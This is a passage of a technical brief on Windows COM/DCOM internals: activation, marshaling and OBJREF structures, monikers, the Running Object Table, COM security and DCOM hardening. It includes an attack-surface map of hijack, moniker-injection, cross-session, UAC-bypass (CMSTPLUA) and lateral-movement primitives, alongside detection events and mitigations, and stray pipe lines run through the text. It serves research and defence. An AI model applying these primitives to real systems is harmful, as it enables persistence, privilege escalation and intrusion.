2. RPCSS validates: `HKLM\...\Ole!MachineLaunchRestriction` → AppID `LaunchPermission` (or `DefaultLaunchPermission`) → identity selection:
|
||||||
|
- default **launching user** (server started with caller's token),
|
||||||
|
- `RunAs` = specific user (prompted/stored credentials) or `Interactive User` (**server in the currently-logged-on session — cross-session primitive**),
|
||||||
|
- `LocalService` = start service via SCM.
|
||||||
|
3. RPCSS (via DcomLaunch) starts the process: `LocalServer32` command line **with the `-Embedding` switch**, or `dllhost.exe /Processid:{AppID}` for surrogates, or the service.
|
||||||
|
4. The server process: `CoInitializeEx` → creates its class factories → **`CoRegisterClassObject(clsid, pCF, CLSCTX_LOCAL_SERVER, REGCLS_*, &dwCookie)`** — registration lands in RPCSS's class table. Flags: `REGCLS_SINGLEUSE=0` (one activation then dead), `MULTIPLEUSE=1`, `MULTI_SEPARATE=2`, `SUSPENDED=4` (register all, then `CoResumeClassObjects()` atomically), `SURROGATE=8`.
|
||||||
|
5. RPCSS marshals the class-factory reference (`OBJREF`) back to the client.
|
||||||
|
6. Client unmarshals → proxy for `IClassFactory` → `CreateInstance` call goes over ORPC → server returns the requested interface pointer, again as an `OBJREF`; client builds the interface proxy/stub chain (from `HKCR\Interface\{IID}\ProxyStubClsid32`).
|
||||||
|
7. Lifetime: client holds refs; server stays alive until last external ref + `LockServer` count drop → server calls `CoRevokeClassObject` and exits.
|
||||||
|
|
||||||
|
### 5.4 Remote activation (DCOM)
|
||||||
|
|
||||||
|
Client passes `COSERVERINFO{pwszName="HOST"}` (or `RemoteServerName`, or an `ActivateAtStorage`/moniker path): local RPCSS forwards to remote host **TCP 135** → `IRemoteSCMActivator` opnums:
|
||||||
|
- `RemoteGetClassObject` (3), `RemoteGetInstanceFromFile` (4), `RemoteGetInstanceFromStorage` (5), `RemoteCreateInstance` (6).
|
||||||
|
|
||||||
|
Parameters are marshaled activation-property blobs (`IActivationPropertiesIn/Out` containing `IInstantiationInfo`{CLSID, CLSCTX, IID array}, `ISecurityInfo`{authn/authz levels}, `IActivationPropertiesOut` → `PropsOutInfo { DWORD cifs; IID *piid; HRESULT *phr; MInterfacePointer **ppIntfData; }`), where `MInterfacePointer = { ULONG ulCntData; byte abData[]; }` is a little-endian **OBJREF**. After activation, method calls flow over **dynamic RPC ports** negotiated via `IOXIDResolver`. Windows Firewall exception group: "COM+ Network Access"/DCOM TCP135 + dynamic range.
|
||||||
|
|
||||||
|
The `CoCreateInstanceEx` DCOM path is what lateral movement rides on: `MMC20.Application`, `ShellWindows`, `ShellBrowserWindow`, `ExcelDDE`, `Visio`, `Outlook`, the Control Panel abuse (Securelist), etc.
|
||||||
|
|
||||||
|
### 5.5 Moniker-based activation
|
||||||
|
|
||||||
|
`CoGetObject(name, bindopts, iid, ppv)` = `MkParseDisplayName` + `BindToObject`. Display-name parsing: prefix before the first `:` is resolved as a **ProgID** → class implementing `IParseDisplayName` (`{0000001A-0000-0000-C000-000000000046}`) builds the moniker (e.g. `clsid:`, `new:`, `session:`, `Elevation:`, `script:`, `queue:`, `soap:`); otherwise a file path builds a FileMoniker; `!` composes monikers into a **CompositeMoniker** `{00000309-0000-0000-C000-000000000046}` (right-to-left bind; the left part becomes `pmkToLeft`).
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 6. Marshaling and the DCOM wire
|
||||||
|
|
||||||
|
### 6.1 Proxy/stub architecture
|
||||||
|
|
||||||
|
When caller and object are in different apartments/processes/machines, COM splits the call:
|
||||||
|
- **Proxy** (client side, `IRpcProxyBuffer`) packs arguments (NDR) → channel (`IRpcChannelBuffer` over RPC runtime) →
|
||||||
|
- **Stub** (server side, `IRpcStubBuffer::Invoke`) unpacks, calls the real method, packs the return.
|
||||||
|
- Factory: **`IPSFactoryBuffer`** (`GetProxyIID`, `CreateProxy`, `CreateStub`), registered via `HKCR\Interface\{IID}\ProxyStubClsid32`.
|
||||||
|
|
||||||
|
Three marshaling flavors, recorded in the OBJREF `flags`:
|
||||||
|
1. **Standard** (0x1): MIDL-generated PS DLL, or the **universal marshaler** (`PSOAInterface {00020424-...}`) which marshals any `[oleautomation]` interface by reading its TypeLib at runtime.
|
||||||
|
2. **Handler** (0x2): light client-side handler DLL (`InprocHandler32`) + standard reference.
|
||||||
|
3. **Custom** (0x4): object implements **`IMarshal`** (`{00000003-0000-0000-C000-000000000046}`: `GetUnmarshalClass`, `GetMarshalSizeMax`, `MarshalInterface`, `UnmarshalInterface`, `ReleaseMarshalData`, `DisconnectObject`). OBJREF_CUSTOM carries `{CLSID of unmarshal class, cbExtension, size, pData[]}` — an **attacker-controlled blob deserialized by `IMarshal::UnmarshalInterface` of an arbitrary registered class**. This is the Forged-OLEData/relay bug class (cf. POTATO-style `CoGetInstanceFromIStorage` OBJREF forgery, and `EOAC_NO_CUSTOM_MARSHAL`/`CLSCTX_NO_CUSTOM_MARSHAL` mitigations).
|
||||||
|
- Client-side convenience APIs: `CoMarshalInterface`, `CoUnmarshalInterface`, `CoMarshalInterThreadInterfaceInStream` + `CoGetInterfaceAndReleaseStream`, `CoCreateFreeThreadedMarshaler` (FTM CLSID `{00000333-0000-0000-C000-000000000046}` — a custom marshaler whose blob is just the raw pointer; neutralizes apartment checks; a classic source of "marshaled" objects being callable from any thread), and the **Global Interface Table** (service-wide cookie↔pointer store: `IGlobalInterfaceTable` `{00000146-0000-0000-C000-000000000046}` on `CLSID_StdGlobalInterfaceTable {00000323-0000-0000-C000-000000000046}`; `RegisterInterfaceInGlobal`/`GetInterfaceFromGlobal`/`RevokeInterfaceFromGlobal`).
|
||||||
|
|
||||||
|
### 6.2 OBJREF — the marshaled interface pointer (on the wire: `MEOW`)
|
||||||
|
|
||||||
|
```c
|
||||||
|
typedef struct tagOBJREF {
|
||||||
|
unsigned long signature; // 0x574F454D == 'MEOW' (little-endian)
|
||||||
|
unsigned long flags; // OBJREF_STANDARD=0x1 | HANDLER=0x2 | CUSTOM=0x4 | EXTENDED=0x8
|
||||||
|
GUID iid; // IID being marshaled
|
||||||
|
union {
|
||||||
|
struct { STDOBJREF std; DUALSTRINGARRAY saResAddr; } u_standard;
|
||||||
|
struct { STDOBJREF std; CLSID clsid; DUALSTRINGARRAY saResAddr; } u_handler;
|
||||||
|
struct { CLSID clsid; unsigned long cbExtension, size; byte *pData; } u_custom;
|
||||||
|
struct { STDOBJREF std; unsigned long Signature1; DUALSTRINGARRAY saResAddr;
|
||||||
|
unsigned long nElms; unsigned long Signature2; DATAELEMENT ElmArray; } u_extended;
|
||||||
|
} u_objref;
|
||||||
|
} OBJREF;
|
||||||
|
|
||||||
|
typedef unsigned __int64 OXID; // object exporter (per apartment+protocol, machine-unique)
|
||||||
|
typedef unsigned __int64 OID; // object identity (per exporter)
|
||||||
|
typedef GUID IPID; // interface pointer (per object)
|
||||||
|
|
||||||
|
typedef struct tagSTDOBJREF {
|
||||||
|
unsigned long flags; // SORF_* (SORF_NOPING=0x1000)
|
||||||
|
unsigned long cPublicRefs; // refcounts transferred with this marshaling
|
||||||
|
OXID oxid; OID oid; IPID ipid;
|
||||||
|
} STDOBJREF;
|
||||||
|
|
||||||
|
typedef struct tagSTRINGBINDING { unsigned short wTowerId; /* 0x07=ncacn_ip_tcp, 0x1F=ncacn_http */
|
||||||
|
unsigned short aNetworkAddr; } STRINGBINDING; // zero-terminated
|
||||||
|
typedef struct tagSECURITYBINDING { unsigned short wAuthnSvc; /* 0x0A=NTLM(WinNT), 0x09=Kerberos, 0xFFFF=none */
|
||||||
|
unsigned short wAuthzSvc; unsigned short aPrincName; } SECURITYBINDING;
|
||||||
|
typedef struct tagDUALSTRINGARRAY { unsigned short wNumEntries; unsigned short wSecurityOffset;
|
||||||
|
unsigned short aStringArray[]; } DUALSTRINGARRAY;
|
||||||
|
```
|
||||||
|
`MEOW` is trivially greppable in packet captures and memory — the universal indicator of a marshaled COM reference (useful for both offense, e.g. carving OBJREFs, and detection rules).
|
||||||
|
|
||||||
|
### 6.3 ORPC call flow, OXID resolution, liveness
|
||||||
|
|
||||||
|
1. Client unmarshals OBJREF → needs the exporter's RPC bindings: calls **`IOXIDResolver`** (a.k.a. `IObjectExporter`, UUID `{99FCFEC4-5260-101B-BBCB-00AA0021347A}`, on the exporter machine via RPCSS/135) → `ResolveOxid2(oxid, cRequestedProtseqs, arRequestedProtseqs[], &dsa, &ipidRemUnknown, &authnHint, &comVersion)` returns the string bindings (dynamic TCP port).
|
||||||
|
2. Calls are normal MS-RPCE with an **ORPC extension** (`ORPCTHIS`/`ORPCTHAT`: causality GUID, extensions) to the resolved endpoint, dispatched by **IPID** → stub manager → interface stub → apartment → method. Standard IPIDs: `IRemUnknown` `{00000131-0000-0000-C000-000000000046}` (`RemQueryInterface`, `RemAddRef`, `RemRelease`) and `IRemUnknown2` `{00000143-...}` handle remote QI/refcounting.
|
||||||
|
3. **Pinging/liveness**: `IOXIDResolver::SimplePing(pingId)`, `ComplexPing` (set semantics) keep OIDs alive; missed pings ⇒ server garbage-collects stubs; client `Release` → `RemRelease` decrements `cPublicRefs`.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 7. Apartments and threading (condensed but exact)
|
||||||
|
|
||||||
|
- Thread joins COM via `CoInitializeEx(NULL, COINIT_APARTMENTTHREADED=0x2)` → **STA** (one per thread; COM creates a hidden window — class `OleMainThreadWndClass` — whose WndProc dispatches cross-apartment calls) or `COINIT_MULTITHREADED=0x0` → **MTA** (one per process). A thread that never initializes is in the **implicit MTA** once the process has COM. `RPC_E_CHANGED_MODE` on re-init conflicts.
|
||||||
|
- STA owners **must pump messages** (`GetMessage/DispatchMessage`); otherwise cross-apartment calls to its objects hang (and the reverse-channel reentrancy during an outgoing call is a classic deadlock/exploit-reliability issue). MTA objects are called on arbitrary RPC thread-pool threads → must self-synchronize.
|
||||||
|
- Cross-apartment interface passing must be marshaled (`CoMarshalInterThreadInterfaceInStream`, GIT) — except objects aggregating the FTM, or `Neutral` (TNA) components.
|
||||||
|
- Server-side dispatch: incoming ORPC calls to an STA are **posted as window messages**; to an MTA, executed directly on RPC threads.
|
||||||
|
|
||||||
|
## 8. Monikers and the Running Object Table (detail)
|
||||||
|
|
||||||
|
`IMoniker` (`{0000000F-0000-0000-C000-000000000046}`) methods: `BindToObject`, `BindToStorage`, `Reduce`, `ComposeWith`, `Enum`, `IsEqual`, `Hash`, `IsRunning`, `GetTimeOfLastChange`, `Inverse`, `CommonPrefixWith`, `RelativePathTo`, `GetDisplayName`, `ParseDisplayName`, `IsSystemMoniker`. Bind context `IBindCtx` (`{0000000E-...}`) carries `BIND_OPTS{cbStruct, grfFlags, grfMode, dwTickCountDeadline}`, `BIND_OPTS2` adds `{dwTrackFlags, dwClassContext, locale, pServerInfo}`, **`BIND_OPTS3` adds `hwnd`** (consent-UI parent — used with elevation monikers).
|
||||||
|
|
||||||
|
System moniker catalog (CLSID / display prefix / server):
|
||||||
|
| Moniker | CLSID | Prefix | Notes |
|
||||||
|
|---|---|---|---|
|
||||||
|
| File | `{00000303-0000-0000-C000-000000000046}` | path | binds via class of extension |
|
||||||
|
| Item | `{00000304-...}` | `!item` | composite right part |
|
||||||
|
| Anti | `{00000305-...}` | — | inverse/cancel |
|
||||||
|
| Pointer | `{00000306-...}` | — | wraps live pointer |
|
||||||
|
| Composite | `{00000309-...}` | `A!B` | left-to-right composition |
|
||||||
|
| Class | `{0000031A-...}` | `clsid:{...}` | thin wrapper over CoGetClassObject/CreateInstance |
|
||||||
|
| **New** | `{ECABAFC6-7F19-11D2-978E-0000F8757E2A}` | `new:{clsid}` or `new:ProgID` | instantiate via moniker (Office-blacklisted) |
|
||||||
|
| **Session** | *(CLSID unverified — confirm in OleViewDotNet; syntax documented)* | `session:N!new:{clsid}` | activates in another logon session (cross-session LPE primitive; cf. Forshaw research / CVE-2017-0100 class) |
|
||||||
|
| **Elevation** | *(implemented in combase; CLSID unverified)* | `Elevation:Administrator!new:{clsid}` / `Elevation:Highest!new:` | UAC bridge |
|
||||||
|
| **Script** | `{06290BD3-48AA-11D2-8432-006008C3FBFC}` | `script:URL` / `scriptlet:URL` | `scrobj.dll`; downloads & runs Windows Script Component; ProgIDs `script`,`scriptlet` |
|
||||||
|
| Scriptlet Factory | `{06290BD2-...}` (`Scriptlet.Factory`) | — | `IPersistMoniker`-bindable scriptlet constructor |
|
||||||
|
| Queue | `{ECABAFC7-7F19-11D2-978E-0000F8757E2A}` | `queue:` | MSMQ queued components |
|
||||||
|
| SOAP | `{ECABB0C7-7F19-11D2-978E-0000F8757E2A}` | `soap:wsdl=...` | CVE-2017-8759 (.NET WSDL RCE) |
|
||||||
|
|
||||||
|
**ROT** (`IRunningObjectTable` `{00000010-0000-0000-C000-000000000046}`, obtained via `GetRunningObjectTable`): per-session, hosted in RPCSS; `Register(grfFlags, punk, pmkName, &dwCookie)` with `ROTFLAGS_REGISTRATIONKEEPSALIVE=0x1`, `ROTFLAGS_ALLOWANYCLIENT=0x2`; `GetObject`, `IsRunning`, `EnumRunning`, `NoteChangeTime`, `Revoke`. `GetActiveObject(clsid)` consults the ROT. **Abuse primitives**: ROT squatting (register attacker object under a well-known display name before the legit server), ROT snooping/harvesting (enumerate other apps' objects — Office documents expose full object models), `ROTFLAGS_ALLOWANYCLIENT` + AppID `ROTFlags` for cross-integrity exposure.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 9. COM security model fundamentals
|
||||||
|
|
||||||
|
### 9.1 `CoInitializeSecurity` — process-wide baseline (callable once, or first proxy call auto-invokes with registry defaults)
|
||||||
|
|
||||||
|
```cpp
|
||||||
|
HRESULT CoInitializeSecurity(
|
||||||
|
PSECURITY_DESCRIPTOR pSecDesc, // access SD (or AppID GUID with EOAC_APPID, or IAccessControl*)
|
||||||
|
LONG cAuthSvc, // -1 = default list
|
||||||
|
SOLE_AUTHENTICATION_SERVICE *asAuthSvc,
|
||||||
|
void *pReserved1,
|
||||||
|
DWORD dwAuthnLevel, // RPC_C_AUTHN_LEVEL_*
|
||||||
|
DWORD dwImpLevel, // RPC_C_IMP_LEVEL_*
|
||||||
|
void *pAuthList, // SOLE_AUTHENTICATION_LIST
|
||||||
|
DWORD dwCapabilities,// EOAC_*
|
||||||
|
void *pReserved3);
|
||||||
|
```
|
||||||
|
`RPC_C_AUTHN_LEVEL`: `DEFAULT=0, NONE=1, CONNECT=2, CALL=3, PKT=4, PKT_INTEGRITY=5, PKT_PRIVACY=6`.
|
||||||
|
`RPC_C_IMP_LEVEL`: `DEFAULT=0, ANONYMOUS=1, IDENTIFY=2, IMPERSONATE=3, DELEGATE=4`.
|
||||||
|
`EOAC_*`: `MUTUAL_AUTH=0x1, SECURE_REFS=0x2, ACCESS_CONTROL=0x4, APPID=0x8, DYNAMIC=0x10, STATIC_CLOAKING=0x20, DYNAMIC_CLOAKING=0x40, ANY_AUTHORITY=0x80, MAKE_FULLSIC=0x100, REQUIRE_FULLSIC=0x200, AUTO_IMPERSONATE=0x400, DEFAULT=0x800, DISABLE_AAA=0x1000, NO_CUSTOM_MARSHAL=0x2000`.
|
||||||
|
|
||||||
|
### 9.2 Where checks happen (defense-in-depth chain)
|
||||||
|
|
||||||
|
1. **Launch** (RPCSS): `MachineLaunchRestriction` → AppID `LaunchPermission` (else `DefaultLaunchPermission`). Failure: `E_ACCESSDENIED` at activation (Event ID 10015/10016 family — the classic "DistributedCOM 10016" log noise).
|
||||||
|
2. **Access** (first call into server): server's `CoInitializeSecurity` SD, else AppID `AccessPermission`, else `DefaultAccessPermission`, gated by `MachineAccessRestriction`.
|
||||||
|
3. **Authentication level** negotiation (client vs server vs machine legacy defaults; hardening floor at PKT_INTEGRITY for activation post-CVE-2021-26414).
|
||||||
|
4. **Impersonation** server-side: `CoImpersonateClient()`/`CoRevertToSelf()` — the client-supplied `dwImpLevel` caps what the server may do (Anonymous < Identify < Impersonate < Delegate). **Cloaking** (`EOAC_STATIC/DYNAMIC_CLOAKING`) decides *which token* the proxy presents — the root of "token kidnap"/wrong-identity bugs exploited by the potato family and activation-identity confusion.
|
||||||
|
|
||||||
|
### 9.3 Server identity
|
||||||
|
|
||||||
|
Chosen at launch from AppID: launching user (default; token of activator — integrity level is inherited! medium IL activator ⇒ medium IL server), `RunAs` user, `LocalService`, or **`Interactive User`** — which creates the object **in whatever session is currently interactive**, enabling cross-session activation by lower-privileged users when Launch/Access ACLs allow (bohops' CVE-2023-33127 chain: PhoneExperienceHost CLSID `{7540C300-BE9B-4C0D-A335-F002F9AB73B7}` activated cross-session; the general discovery method = OleViewDotNet filter "Run as: Interactive User").
|
||||||
|
|
||||||
|
### 9.4 UAC & the elevation bridge
|
||||||
|
|
||||||
|
`CoGetObject("Elevation:Administrator!new:{CLSID}", &bind_opts3_with_hwnd, riid, &ppv)` routes through the **AppInfo service** (`appinfo.dll`, `RAiLaunchAdminProcess`) which evaluates the class's elevation policy and shows consent UI (or auto-approves). Class requirements (Microsoft doc "The COM Elevation Moniker", verified verbatim):
|
||||||
|
- registered under **HKLM only** (HKCU registrations cannot elevate — `CO_E_ELEVATION_DISABLED` path guard);
|
||||||
|
- `HKCR\CLSID\{CLSID}\Elevation\Enabled = 1` (else `CO_E_ELEVATION_DISABLED`);
|
||||||
|
- `HKCR\CLSID\{CLSID}\LocalizedString = @dll,-resid` MUI display name (else `CO_E_MISSING_DISPLAYNAME`; MUI load errors from `RegLoadMUIStringW` propagate);
|
||||||
|
- optional `Elevation\IconReference`; binary must be signed for icon display;
|
||||||
|
- class must run as **launching user / Activate-as-Activator** else `CO_E_RUNAS_VALUE_MUST_BE_AAA`;
|
||||||
|
- already-elevated client ⇒ no UI.
|
||||||
|
Two elevation classes exist: **prompted** (consent UI — legitimate) and **auto-elevated** (silent for auto-approved binaries; abused by the CMSTPLUA family: `{3E5FC7F9-9A51-4367-9063-A120244FBEC7}` + `ICMLuaUtil` `{6EDD6D74-C007-4E75-B76A-E5740995E24C}` → `ShellExec`; artifact: child of `DllHost.exe /Processid:{3E5FC7F9-...}`). Server-side spawn: elevated **dllhost** or the LocalServer32 exe at High IL.
|
||||||
|
|
||||||
|
### 9.5 DCOM hardening (CVE-2021-26414, KB5004442)
|
||||||
|
|
||||||
|
Windows DCOM Server Security Feature Bypass → phased enforcement of `RPC_C_AUTHN_LEVEL_PKT_INTEGRITY` minimum for non-anonymous activation: Jun 2021 opt-in (`HKLM\SOFTWARE\Microsoft\Ole\AppCompat!RequireIntegrityActivationAuthenticationLevel=1`), Jun 2022 default-on, Nov 2022 client auto-raise (`RaiseActivationAuthenticationLevel=2`), **Mar 2023 mandatory**. Telemetry: System log source **DistributedCOM events 10036 (server reject), 10037/10038 (client below floor)** — also prime detection content for spotting lateral-movement activation attempts.
|
||||||
|
|
||||||
|
## 10. WinRT and .NET (short but necessary bridges)
|
||||||
|
|
||||||
|
- **WinRT** is COM vNext: same IUnknown base; `IInspectable` (IID `{AF86E2E0-B12D-4C6A-9C5A-D7AA65101E90}`; `GetIids`, `GetRuntimeClassName`, `GetTrustLevel`) replaces IDispatch; metadata in `.winmd` (ECMA-335) instead of TLBs; activation via `RoGetActivationFactory(HSTRING clsid, IID, void**)` / `RoActivateInstance`; classes registered per-package under `HKLM\SOFTWARE\Microsoft\WindowsRuntime` (and `ActivatableClassId` server mappings), **not** `HKCR\CLSID` — hence invisible to classic hijack tooling; language projections (C++/WinRT, C#/WinRT, `RoGetActivationFactory` shims). Forshaw's OleViewDotNet parses both worlds.
|
||||||
|
- **.NET interop**: managed classes exposed to COM are hosted by `mscoree.dll` as `InprocServer32` with values `Class`, `Assembly`, `RuntimeVersion`, `CodeBase`; clients get an RCW (`System.Runtime.InteropServices`), servers a CCW. Type libraries via `regasm /tlb` / `tlbexp`; `ComImport`+`Guid` declares native interfaces in managed code; OleViewDotNet builds dynamic `IDispatch` stubs at runtime to call arbitrary vtables — the same trick fuzzers use (incendium.rocks methodology: registry/CLSID → JSON of interfaces/methods → automated `Invoke`).
|
||||||
|
|
||||||
|
## 11. Attack-surface map (fundamentals → chapter pointers)
|
||||||
|
|
||||||
|
| # | Primitive (rooted in this brief) | Mechanism | Attack family |
|
||||||
|
|---|---|---|---|
|
||||||
|
| 1 | HKCU shadowing of `CLSID\{X}\InprocServer32/LocalServer32` | merged-view precedence (4.1) → per-user persistence/exec; into auto-elevated procs → UAC bypass | Persistence / UAC |
|
||||||
|
| 2 | `TreatAs`/`AutoTreatAs` redirect | 4.2 checked before server key (used by Turla "COMpfun" family) | Persistence |
|
||||||
|
| 3 | Phantom `InprocServer32`/`LocalServer32` paths | 5.2 load of non-existent file → plant binary | Persistence |
|
||||||
|
| 4 | `Interface\{IID}\ProxyStubClsid32` shadow | 4.4 → DLL into **both** endpoints incl. SYSTEM servers | LPE / Persistence |
|
||||||
|
| 5 | `TypeLib\{LIBID}\...\win32` path shadow + `LoadTypeLib` moniker quirk | 4.5 | Persistence / Execution |
|
||||||
|
| 6 | ProgID/VersionIndependentProgID/CurVer squatting | 3, 4.1 | Persistence |
|
||||||
|
| 7 | Moniker string injection (`script:`, `new:`, `session:`, `Elevation:`, composite) | 5.5, 8; `CoGetObject`/moniker-accepting APIs (Office OLE, `LoadTypeLib`, SCT/scriptlet) | Execution |
|
||||||
|
| 8 | ROT squatting/snooping | 8 | LPE / Execution |
|
||||||
|
| 9 | Cross-session activation (`RunAs=Interactive User`) | 9.3 | LPE |
|
||||||
|
| 10 | DCOM remote activation of LM-friendly classes | 5.4 | Lateral movement |
|
||||||
|
| 11 | Custom-marshal blob abuse (OBJREF_CUSTOM forgery, IMarshal parsing bugs) | 6.1/6.2 | Execution / Relay |
|
||||||
|
| 12 | Surrogate abuse (`DllSurrogate` → attacker DLL in `dllhost`) | 4.3 | Persistence / Execution |
|
||||||
|
| 13 | Reg-free COM manifest hijack | 4.7 | Persistence / Execution |
|
||||||
|
|
||||||
|
**Representative CVEs anchored in fundamentals**: CVE-2015-2370 (DCOM activation RPC replay → SYSTEM LPE; NTLM-authed `ResolveOxid2` followed by replayed `RemoteCreateInstance`), CVE-2017-8759 (`soap:` WSDL moniker → .NET codegen RCE, in-the-wild), CVE-2018-0824 ("Microsoft COM for Windows RCE" — ole32 deserialization of crafted OLE/moniker data via Office OLE2 objects, exploited in the wild, patched May 2018; describe as moniker/OLE deserialization RCE), CVE-2017-0100 (Windows COM/DCOM EoP, HelpPane auto-elevation + activation identity — Forshaw; flag moderate confidence on exact mechanism), CVE-2021-26414 (DCOM activation auth-level bypass → the hardening saga of 9.5). Office responded to the moniker wave with a per-app kill list at `HKLM\SOFTWARE\Microsoft\Office\<ver>\Common\COM Compatibility\{CLSID}` ("ActivationFilter"/kill bits) covering htafile `{3050F4D8-...}`, scriptlet `{06290BD3-...}`, Composite `{00000309-...}`, File `{00000303-...}`, New `{ECABAFC6-...}`, SOAP `{ECABB0C7-...}` monikers.
|
||||||
|
|
||||||
|
## 12. Tooling & lab notes
|
||||||
|
|
||||||
|
- **OleViewDotNet** (`github.com/tyranid/oleviewdotnet`): enumerates classes/interfaces/AppIDs/typelibs (incl. per-user & WOW64 views), shows AppID ACLs/RunAs/Elevation flags, parses vtables from typelibs/`.winmd`, ROT viewer, invoke arbitrary methods, spawn elevated (`CreateElevated`), filter "Run as Interactive User". The standard recon tool.
|
||||||
|
- `oleview.exe` (SDK), `dcomcnfg.exe`, `regedit`/`reg query HKCR\CLSID /s`, PowerShell `Get-ChildItem Registry::HKEY_CLASSES_ROOT\CLSID`, ProcMon (`Path contains InprocServer32/LocalServer32/TreatAs/ProxyStubClsid32`, Result = NAME NOT FOUND for phantom hunting), Wireshark `dcom`/`dcerpc` dissectors (grep `MEOW`), RpcView (RPC interface/IPID maps), Event Viewer (DistributedCOM 10015/10016/10036–10038), API Monitor / WinDbg `bp combase!CoCreateInstance`.
|
||||||
|
- Lab: two VMs (domain-joined) for DCOM LM; a standard (non-admin) user VM for HKCU-hijack labs; snapshot before `regsvr32`/manifest experiments; enable "Microsoft-Windows-COMRuntime" ETW + OLE32/COM ETW providers for activation tracing.
|
||||||
|
|
||||||
|
## 13. Diagram specs (covered by DIAGRAM_SPEC d01–d08)
|
||||||
|
|
||||||
|
1. Anatomy of a COM object — client pointer → vptr → vtable slots 0..2 (QI/AddRef/Release) + method slots; second vptr for a second interface; refcount field.
|
||||||
|
2. COM identity zoo — central GUID box; spokes CLSID/IID/AppID/LIBID/ProgID → registry homes.
|
||||||
|
3. HKCR merged view — HKLM + HKCU stacks → merged HKCR lens; attacker writing into HKCU layer highlighted; WOW6432Node branch.
|
||||||
|
4. Registry anatomy of a CLSID — tree from 4.2 with call-outs: TreatAs (checked first), InprocServer32+ThreadingModel, LocalServer32, AppID link, Elevation\Enabled.
|
||||||
|
5. In-process activation sequence (d01).
|
||||||
|
6. Local OOP activation sequence — RPCSS/DcomLaunch/-Embedding/CoRegisterClassObject/OBJREF; security-check gates.
|
||||||
|
7. Remote DCOM activation sequence (d05) — TCP135, RemoteCreateInstance opnum 6, ResolveOxid2, dynamic ports.
|
||||||
|
8. Apartment map of a process — Main STA/MTA/NTA; ThreadingModel coloring; FTM bypass.
|
||||||
|
9. Proxy/stub call stack (d04).
|
||||||
|
10. OBJREF on the wire (d04) — 'MEOW' 0x574F454D byte layout.
|
||||||
|
11. OXID resolution & pinging timeline (d05).
|
||||||
|
12. COM security decision funnel (d06/d08) — launch → access → authn → impersonation gates.
|
||||||
|
13. Elevation moniker flow (d07).
|
||||||
|
14. Moniker binding pipeline — display string → MkParseDisplayName → Composite → BindToObject → ROT check; dangerous prefixes overlay.
|
||||||
|
15. Hijack primitive decision tree (d08) — which registry key shadowed → what loads where.
|
||||||
|
16. Surrogate hosting — AppID{DllSurrogate=""} → dllhost /Processid.
|
||||||
|
|
||||||
|
## 14. Quick-reference GUID table
|
||||||
|
|
||||||
|
| Item | GUID |
|
||||||
|
|---|---|
|
||||||
|
| IID_IUnknown | 00000000-0000-0000-C000-000000000046 |
|
||||||
|
| IID_IClassFactory | 00000001-0000-0000-C000-000000000046 |
|
||||||
|
| IID_IMarshal | 00000003-0000-0000-C000-000000000046 |
|
||||||
|
| IID_IMoniker / IBindCtx / IROT | 0000000F-… / 0000000E-… / 00000010-… (-C000-000000000046) |
|
||||||
|
| IID_IParseDisplayName | 0000001A-0000-0000-C000-000000000046 |
|
||||||
|
| IID_IDispatch | 00020400-0000-0000-C000-000000000046 |
|
||||||
|
| IID_ITypeInfo / ITypeLib | 00020401-… / 00020402-… |
|
||||||
|
| PSDispatch / PSOAInterface (universal marshaler) | 00020420-… / 00020424-0000-0000-C000-000000000046 |
|
||||||
|
| IID_IRemUnknown / IRemUnknown2 | 00000131-… / 00000143-… |
|
||||||
|
| IGlobalInterfaceTable; CLSID_StdGIT | 00000146-…; 00000323-0000-0000-C000-000000000046 |
|
||||||
|
| CLSID_FreeThreadedMarshaler | 00000333-0000-0000-C000-000000000046 |
|
||||||
|
| IRemoteSCMActivator / ISystemActivator | 000001A0-0000-0000-C000-000000000046 |
|
||||||
|
| IOXIDResolver (IObjectExporter) | 99FCFEC4-5260-101B-BBCB-00AA0021347A |
|
||||||
|
| Monikers: File/Item/Anti/Pointer/Composite/Class | 00000303/…304/…305/…306/…309/…31A -C000-000000000046 |
|
||||||
|
| NewMoniker | ECABAFC6-7F19-11D2-978E-0000F8757E2A |
|
||||||
|
| ScriptMoniker (scrobj.dll) | 06290BD3-48AA-11D2-8432-006008C3FBFC |
|
||||||
|
| QueueMoniker / SoapMoniker | ECABAFC7-… / ECABB0C7-7F19-11D2-978E-0000F8757E2A |
|
||||||
|
| CMSTPLUA / ICMLuaUtil | 3E5FC7F9-9A51-4367-9063-A120244FBEC7 / 6EDD6D74-C007-4E75-B76A-E5740995E24C |
|
||||||
|
| CLSID_FileOperation (IFileOperation host) | 3AD05575-8857-4850-9277-11B85BDB8E09 |
|
||||||
|
| Task Scheduler (Schedule.Service) | 0F87369F-A4E5-4CFC-BD3E-73E6154572DD |
|
||||||
|
| WScript.Shell / Shell.Application / IE | 72C24DD5-D70A-438B-8A42-98424B88AFB8 / 13709620-C279-11CE-A49E-444553540000 / 0002DF01-0000-0000-C000-000000000046 |
|
||||||
|
| IInspectable (WinRT) | AF86E2E0-B12D-4C6A-9C5A-D7AA65101E90 |
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## REFERENCES
|
||||||
|
|
||||||
|
1. CoCreateInstance function (combaseapi.h) — Microsoft Learn: https://learn.microsoft.com/en-us/windows/win32/api/combaseapi/nf-combaseapi-cocreateinstance
|
||||||
|
2. CLSCTX enumeration (wtypesbase.h) — Microsoft Learn: https://learn.microsoft.com/en-us/windows/win32/api/wtypesbase/ne-wtypesbase-clsctx
|
||||||
|
3. CoInitializeEx function — Microsoft Learn: https://learn.microsoft.com/en-us/windows/win32/api/combaseapi/nf-combaseapi-coinitializeex
|
||||||
|
4. CoInitializeSecurity function — Microsoft Learn: https://learn.microsoft.com/en-us/windows/win32/api/combaseapi/nf-combaseapi-coinitializesecurity
|
||||||
|
5. The COM Elevation Moniker — MicrosoftDocs/win32 (exact registry requirements LocalizedString / Elevation\Enabled / error codes): https://github.com/MicrosoftDocs/win32/blob/docs/desktop-src/com/the-com-elevation-moniker.md
|
||||||
|
6. AppID Key — Microsoft Learn: https://learn.microsoft.com/en-us/windows/win32/com/appid-key
|
||||||
|
7. CLSID Key — Microsoft Learn: https://learn.microsoft.com/en-us/windows/win32/com/clsid-key-hklm
|
||||||
|
8. Registering COM Servers / InprocServer32 — Microsoft Learn: https://learn.microsoft.com/en-us/windows/win32/com/registering-com-servers
|
||||||
|
